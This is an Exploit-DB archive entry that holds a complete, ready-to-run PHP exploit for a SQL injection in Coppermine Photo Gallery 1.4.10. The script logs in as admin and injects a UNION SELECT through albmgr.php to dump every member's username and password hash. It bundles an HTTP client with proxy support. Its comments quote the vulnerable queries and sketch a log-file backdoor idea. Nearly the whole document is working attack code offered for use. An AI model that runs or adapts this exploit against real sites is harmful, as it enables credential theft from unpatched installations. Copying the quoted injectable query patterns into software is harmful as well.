标题: Coppermine Photo Gallery 1.4.10 - 'xpl.php' SQL Injection EDB-ID: 3085 CVE: 2007-3558 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-05 漏洞利用脚本: #!/usr/bin/php
<?php
if($argc < 4)
{
       print "\n---------------------------------------------------------";
       print "\nAffected.scr..: Coppermine Photo Gallery <= 1.4.10";
       print "\nPoc.ID........: 19070104";
       print "\nType..........: SQL Injection";
       print "\nRisk.level....: Medium";
       print "\nSrc.download..: coppermine-gallery.net";
       print "\nPoc.link......: acid-root.new.fr/poc/19070104.txt";
       print "\nCredits.......: DarkFig";
       print "\n---------------------------------------------------------";
       print "\nUsage.........: php xpl.php <url> <adminuser> <adminpass>";
       print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
       print "\nExample.......: php xpl.php http://c.com/ admin passwd";
       print "\n---------------------------------------------------------\n";
       exit(1);
}


/*/
 [0] => xpl.php         [1] => http://localhost/cpg1410/
 [2] => root            [3] => toor
 [4] => localhost:8200  [5] => user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];

$xpl = new phpsploit();
$xpl->agent("InternetExploiter");
$xpl->cookiejar(1);
$xpl->allowredirection(1);

print "\nheader> ===============================================";
print "\nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)";
print "\nheader> ===============================================";

if(!empty($pxs)){
       print "\nstatus> Using a proxy $pxs";
       $xpl->proxy($pxs);
}

if(!empty($pxa)){
       print "\nstatus> Basic proxy authentification $pxa";
       $xpl->proxyauth($pxa);
}


/*/
 Table prefix.
/*/
print "\nstatus> Searching the version";
$xpl->get($url.'include/index.html');
if(preg_match("#Coppermine version: ([0-9]*\.[0-9]*\.[0-9]*)#",$xpl->getcontent(),$matches)) print "\nsploit> Coppermine version ".$matches[1];
else print "\nsploit> Not found";
$table = !empty($matches[1]) ? 'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';


/*/
 If you have the admin cookie (but not the password),
 replace lines 73=>76 by $xpl->addcookie('yourcookie');
/*/
print "\nstatus> Trying to get logged in";
$xpl->post($url."login.php?referer=index.php","username=$adu&password=$adp&remember_me=1&submitted=Se+Connecter");
if(!preg_match("#color:red#",$xpl->getcontent())) print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");


/*/
 (usermgr.php)
 =============
 case 'group_alb_access' :
 if (isset($_GET['gid']))  $group_id = $_GET['gid'];
 $sql = "SELECT group_name  FROM [...] WHERE group_id = $group_id [...]";
 $result = cpg_db_query($sql);

 (db_ecard.php)
 ==============
 $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : '';  [...]
 if (!$start) {$startFrom = '0';}else{$startFrom=$start;}  [...]
 $result = cpg_db_query("SELECT [...] ORDER BY $sortBy $sortDirection LIMIT $startFrom,$countTo");

 (albmgr.php)
 ============
 $cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;
 if ($cat == 1) $cat = 0;
 if (GALLERY_ADMIN_MODE) {
 $result = cpg_db_query("SELECT [...] WHERE category = $cat ORDER BY pos ASC");

 (filename_to_title())
 =====================
 $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
 $albstr = ($albumid) ? " WHERE aid = $albumid" : ''; [...]
 $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");

 (del_titles())
 ==============
 $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
 $albstr = ($albumid) ? " WHERE aid = $albumid" : '';
 $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");
/*/
print "\nstatus> Retrieving all members password";
$xpl->get($url."albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*");
if(preg_match_all("#<option value=\"album_no=(.*),album_nm='([a-z0-9]{32})'#",$xpl->getcontent(),$matches)) print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");

print "\nsploit> +----------------------------------+----------+";
print "\nsploit> |             PASSWORD             |   USER   |";
print "\nsploit> +----------------------------------+----------+";


/*/
 (init.inc.php)
 ==============
 $HTML_SUBST = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => '&#39;', "'" => '&#39;');
 [...]
 if (is_array($_POST)) { // and GET, SERVER, REQUEST...
 foreach ($_POST as $key => $value) {
 if (!is_array($value))
 $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
 if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);
 }

 ... that's why we use the html_entity_decode() function.
 I just wanted < for a remote php code execution sploit without admin rights :'(.
 When the admin view the security logs, it include "security.log.php"...

 (security.log.php)
 ==================
 [...]
 if (!defined('IN_COPPERMINE')) die(); ?>

 Denied privileged access to viewlog.php from user Guest at  on January 4, 2007, 2:10 pm
 Failed login attempt with Username: &lt;?php mail(you); [...] fwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at 01:16 PM
/*/
for($i=0;$i<count($matches[0]);$i++)
{
       print "\nsploit> | ".$matches[2][$i].' | '.html_entity_decode($matches[1][$i]);
       if($i==(count($matches[0])-1)){
       print "\nsploit> +----------------------------------+----------+\n";
       }
}

class phpsploit {

 /**
  * This function is called by the get()/post() functions.
  * You don't have to call it, this is the main function.
  *
  * @return $server_response
  */
 private function sock()
 {
  if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
  else $socket = fsockopen($this->host,$this->port);
  
  if(!$socket) die("Error: The host doesn't exist");
  
  if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
  elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
  else die("Error: Invalid method");
  
  if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
  $this->packet .= "Host: ".$this->host."\r\n";
  
  if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
  if(!empty($this->header)) $this->packet .= $this->header."\r\n";
  if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
  
  $this->packet .= "Connection: Close\r\n";
  if($this->method==="post")
  {
   $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data."\r\n";
  }
  $this->packet .= "\r\n";
  $this->recv = '';
  
  fputs($socket,$this->packet);
  while(!feof($socket)) $this->recv .= fgets($socket);
  fclose($socket);
  
  if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
  if($this->allowredirection) return $this->allowredirection($this->recv);
  else return $this->recv;
 }
 

 /**
  * This function allows you to add several cookie in the
  * request. Several methods are supported:
  * 
  * $this->addcookie("name","value");
  * or
  * $this->addcookie("name=newvalue");
  * or
  * $this->addcookie("othername=overvalue; xx=zz; y=u");
  * 
  * @param string $cookiename
  * @param string $cookievalue
  * 
  */
 public function addcookie($cookn,$cookv='')
 {
  // $this->addcookie("name","value"); work avec replace
  if(!empty($cookv))
  {
   if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
   if(!empty($this->cookie))
   {
       if(preg_match("/$cookn=/",$this->cookie))
       {
        $this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
       }
       else
       {
        $this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
       }
   }
   else
   {
    $this->cookie = $cookn."=".$cookv.";";
   }
  }
  // $this->addcookie("name=value; othername=othervalue");
  else
  {
       if(!empty($this->cookie))
       {
        $cookn = preg_replace("/(.*);$/","$1",$cookn);
        $cookarr = explode(";",str_replace(" ", "",$cookn));
        for($i=0;$i<count($cookarr);$i++)
        {
         preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
         $cookn = $matches[1];
         $cookv = $matches[2];
         $this->addcookie($cookn,$cookv);
        }
       }
    else
    {
     $cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
     $this->cookie = $cookn;   
    }
  }
 }
 
 
 /**
  * This function allows you to add several headers in the
  * request. Several methods are supported:
  *
  * $this->addheader("headername","headervalue");
  * or
  * $this->addheader("headername: headervalue");
  *
  * @param string $headername
  * @param string $headervalue
  */
 public function addheader($headern,$headervalue='')
 {
  // $this->addheader("name","value");
  if(!empty($headervalue))
  {
   if(!empty($this->header))
   {
    if(preg_match("/$headern:/",$this->header))
    {
     $this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
    }
    else
    {
     $this->header .= "\r\n".$headern.": ".$headervalue;
    }
   }
   else
   {
    $this->header=$headern.": ".$headervalue;
   }
  }
  // $this->addheader("name: value");
  else 
  {
   if(!empty($this->header))
   {
    $headarr = explode(": ",$headern);
    $headern = $headarr[0];
    $headerv = $headarr[1];
    $this->addheader($headern,$headerv);
   }
   else
   {
    $this->header=$headern;
   }
  }
 }
 

 /**
  * This function allows you to use an http proxy server.
  * Several methods are supported:
  * 
  * $this->proxy("proxyip","8118");
  * or
  * $this->proxy("proxyip:8118")
  *
  * @param string $proxyhost
  * @param integer $proxyport
  */
 public function proxy($proxy,$proxyp='')
 {
  // $this->proxy("localhost:8118");
  if(empty($proxyp))
  {
   preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
   $proxh = $proxarr[1];
   $proxp = $proxarr[2];
   $this->proxyhost=$proxh;
   $this->proxyport=$proxp;
  }
  // $this->proxy("localhost",8118);
  else 
  {
   $this->proxyhost=$proxy;
   $this->proxyport=intval($proxyp);
  }
  if($this->proxyport > 65535) die("Error: Invalid port number");
 }
 

 /**
  * This function allows you to use an http proxy server
  * which requires a basic authentification. Several
  * methods are supported:
  * 
  * $this->proxyauth("darkfig","dapasswd");
  * or
  * $this->proxyauth("darkfig:dapasswd");
  *
  * @param string $proxyuser
  * @param string $proxypass
  */
 public function proxyauth($proxyauth,$proxypasse='')
 {
  // $this->proxyauth("darkfig:password");
  if(empty($proxypasse))
  {
   preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
   $proxu = $proxautharr[1];
   $proxp = $proxautharr[2];
   $this->proxyuser=$proxu;
   $this->proxypass=$proxp;
  }
  // $this->proxyauth("darkfig","password");
  else
  {
   $this->proxyuser=$proxyauth;
   $this->proxypass=$proxypasse;
  }
 }

 
 /**
  * This function allows you to set the "User-Agent" header.
  * Several methods are possible to do that:
  * 
  * $this->agent("Mozilla Firefox");
  * or
  * $this->addheader("User-Agent: Mozilla Firefox");
  * or
  * $this->addheader("User-Agent","Mozilla Firefox");
  * 
  * @param string $useragent
  */
 public function agent($useragent)
 {
  $this->agent=$useragent;
 }

 
 /**
  * This function returns the header which will be
  * in the next request.
  * 
  * $this->showheader();
  *
  * @return $header
  */
 public function showheader()
 {
  return $this->header;
 }

 
 /**
  * This function returns the cookie which will be
  * in the next request.
  * 
  * $this->showcookie();
  *
  * @return $storedcookies
  */
 public function showcookie()
 {
  return $this->cookie;
 }

 
 /**
  * This function returns the last formed
  * http request (the http packet).
  * 
  * $this->showlastrequest();
  * 
  * @return $last_http_request
  */
 public function showlastrequest()
 {
  return $this->packet;
 }
 
 
 /**
  * This function sends the formed http packet with the
  * GET method. You can precise the port of the host.
  * 
  * $this->get("http://localhost");
  * $this->get("http://localhost:888/xd/tst.php");
  * 
  * @param string $urlwithpath
  * @return $server_response
  */
 public function get($url)
 {
  $this->target($url);
  $this->method="get";
  return $this->sock();
 }

 
 /**
  * This function sends the formed http packet with the
  * POST method. You can precise the port of the host.
  * 
  * $this->post("http://localhost/index.php","admin=1&user=dark");
  *
  * @param string $urlwithpath
  * @param string $postdata
  * @return $server_response
  */ 
 public function post($url,$data)
 {
  $this->target($url);
  $this->method="post";
  $this->data=$data;
  return $this->sock();
 }

 
 /**
  * This function returns the content of the server response
  * without the headers.
  * 
  * $this->getcontent($this->get("http://localhost/"));
  * or
  * $this->getcontent();
  *
  * @param string $server_response
  * @return $onlythecontent
  */
 public function getcontent($code='')
 {
  if(empty($code)) $code = $this->recv;
  $content = explode("\n",$code);
  $onlycode = '';
  for($i=1;$i<count($content);$i++)
  {
   if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
   if($ok) $onlycode .= $content[$i]."\n";
  }
  return $onlycode;
 }

 
 /**
  * This function returns the headers of the server response
  * without the content.
  * 
  * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
  * or
  * $this->getheader();
  *
  * @param string $server_response
  * @return $onlytheheaders
  */
 public function getheader($code='')
 {
  if(empty($code)) $code = $this->recv;
  $header = explode("\n",$code);
  $onlyheader = $header[0]."\n";
  for($i=1;$i<count($header);$i++)
  {
   if(!preg_match("/^(\S*):/",$header[$i])) break;
   $onlyheader .= $header[$i]."\n";
  }
  return $onlyheader;
 }

 
 /**
  * This function is called by the cookiejar() function.
  * It adds the value of the "Set-Cookie" header in the "Cookie"
  * header for the next request. You don't have to call it.
  * 
  * @param string $server_response
  */
 private function getcookie($code)
 {
  $carr = explode("\n",str_replace("\r\n","\n",$code));
  for($z=0;$z<count($carr);$z++)
  {
   if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
   {
    $cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
   }
  }

  for($i=0;$i<count($cookie);$i++)
  {
   preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
              $cookn = $matches[1];
              $cookv = $matches[2];
              $this->addcookie($cookn,$cookv);
  }
    }

 
 /**
  * This function is called by the get()/post() functions.
  * You don't have to call it.
  *
  * @param string $urltarg
  */
 private function target($urltarg)
 {
  if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
  $this->url=$urltarg;
  
  $array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
  $this->host=$array[0];

  preg_match("/:(\d+)\//",$urltarg,$matches);
  $this->port=empty($matches[1]) ? 80 : $matches[1];
  
  $temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
  preg_match("/\/(.*)\//",$temp,$matches);
  $this->path=str_replace("//","/","/".$matches[1]."/");
 
  if($this->port > 65535) die("Error: Invalid port number");
 }
 
 
 /**
  * If you call this function, the script will
  * extract all "Set-Cookie" headers values
  * and it will automatically add them into the "Cookie" header
  * for all next requests.
  *
  * $this->cookiejar(1); // enabled
  * $this->cookiejar(0); // disabled
  * 
  */
 public function cookiejar($code)
 {
  if($code===0) $this->cookiejar='';
  if($code===1) $this->cookiejar=1;
  else
  {
   $this->getcookie($code);
  }
 }


 /**
  * If you call this function, the script will
  * follow all redirections sent by the server.
  * 
  * $this->allowredirection(1); // enabled
  * $this->allowredirection(0); // disabled
  * 
  * @return $this->get($locationresponse)
  */
 public function allowredirection($code)
 {
  if($code===0) $this->allowredirection='';
  if($code===1) $this->allowredirection=1;
  else
  {
   if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
   {
    $location = str_replace(chr(13),'',$codearr[2]);
    if(!eregi("://",$location))
    {
     return $this->get("http://".$this->host.$this->path.$location);
    }
    else
    {
     return $this->get($location);
    }
   }
   else
   {
    return $code;
   }
  }
 }
 
 
 /**
  * This function allows you to reset some parameters:
  * 
  * $this->reset(header); // headers cleaned
  * $this->reset(cookie); // cookies cleaned
  * $this->reset();       // clean all parameters
  *
  * @param string $func
  */
 public function reset($func='')
 {
  switch($func)
  {
   case "header":
   $this->header='';
   break;
   
   case "cookie":
   $this->cookie='';
   break;
   
   default:
          $this->cookiejar='';
          $this->header='';
          $this->cookie='';
          $this->allowredirection=''; 
          $this->agent='';
          break;
  }
 }
}

?>

# milw0rm.com [2007-01-05] URL: https://www.exploit-db.com/exploits/3085